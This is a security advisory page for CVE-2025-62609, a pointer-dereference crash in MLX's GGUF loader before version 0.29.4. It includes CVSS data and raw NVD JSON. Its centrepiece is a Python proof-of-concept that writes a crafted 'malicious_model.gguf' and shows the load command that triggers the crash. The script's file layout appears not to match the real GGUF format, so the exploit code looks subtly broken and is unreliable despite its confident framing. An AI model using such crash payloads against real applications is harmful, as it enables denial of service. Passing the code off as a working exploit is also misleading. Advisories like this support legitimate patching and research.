Security Vulnerability Report
中文
CVE-2025-62609 CVSS 7.5 HIGH

CVE-2025-62609

Published: 2025-11-21 19:16:02
Last Modified: 2025-12-02 16:30:46

Description

MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a segmentation fault in mlx::core::load_gguf() when loading malicious GGUF files. Untrusted pointer from external gguflib library is dereferenced without validation, causing application crash. This issue has been patched in version 0.29.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ml-explore:mlx:*:*:*:*:*:*:*:* - VULNERABLE
MLX < 0.29.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-62609 PoC - Malicious GGUF file generator This PoC generates a malicious GGUF file that triggers a segmentation fault in mlx::core::load_gguf() due to unvalidated pointer dereference. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_gguf(output_path): """ Create a malicious GGUF file that exploits CVE-2025-62609 The file contains crafted metadata that causes gguflib to return an invalid pointer, leading to segmentation fault when dereferenced. """ # GGUF file magic number magic = b'GGUF' # Version (v3 for this PoC) version = 3 # TENSOR_COUNT tag (1000 tensors) tensor_count_tag = 0x00000001 tensor_count = 1000 # KV_DATA tag with malicious values kv_tag = 0x00000002 # Craft malicious KV data that will cause invalid pointer # This contains malformed tensor metadata that gguflib will parse incorrectly malicious_kv_data = bytearray() # Add key-value pairs with invalid pointers for i in range(100): # Key type (string) malicious_kv_data.extend(struct.pack('<I', 8)) # STRING type key = f'malicious_key_{i}'.encode('utf-8') malicious_kv_data.extend(struct.pack('<I', len(key))) malicious_kv_data.extend(key) # Value type (invalid pointer simulation) malicious_kv_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid sentinel value malicious_kv_data.extend(struct.pack('<Q', 0x00000000FFFFFFFF)) # Malformed pointer # TENSOR_DATA tag tensor_data_tag = 0x00000003 # Malformed tensor data with invalid memory references tensor_data = bytearray() for i in range(1000): # Tensor name name = f'malicious_tensor_{i}'.encode('utf-8') tensor_data.extend(struct.pack('<I', len(name))) tensor_data.extend(name) # Number of dimensions (malformed) tensor_data.extend(struct.pack('<I', 0x7FFFFFFF)) # Invalid dimension count # Dimensions with invalid values tensor_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Invalid dimension # Data type tensor_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid type # Offset pointing to invalid memory location tensor_data.extend(struct.pack('<Q', 0x00000000DEADBEEF)) # Invalid offset # Write the malicious GGUF file with open(output_path, 'wb') as f: f.write(magic) f.write(struct.pack('<I', version)) f.write(struct.pack('<I', tensor_count)) f.write(struct.pack('<I', kv_tag)) f.write(struct.pack('<I', len(malicious_kv_data))) f.write(malicious_kv_data) f.write(struct.pack('<I', tensor_data_tag)) f.write(struct.pack('<Q', len(tensor_data))) f.write(tensor_data) print(f"[+] Malicious GGUF file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[!] This file will trigger CVE-2025-62609 in MLX < 0.29.4") if __name__ == '__main__': output_file = 'malicious_model.gguf' create_malicious_gguf(output_file) print("\n[*] To trigger the vulnerability, load this file with MLX:") print(f"[*] import mlx.core as mx; mx.load('{output_file}')")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62609", "sourceIdentifier": "[email protected]", "published": "2025-11-21T19:16:02.467", "lastModified": "2025-12-02T16:30:45.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a segmentation fault in mlx::core::load_gguf() when loading malicious GGUF files. Untrusted pointer from external gguflib library is dereferenced without validation, causing application crash. This issue has been patched in version 0.29.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ml-explore:mlx:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.29.4", "matchCriteriaId": "C62C2D2D-92D7-4480-BDB9-56CECD1626E7"}]}]}], "references": [{"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-j842-xgm4-wf88", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}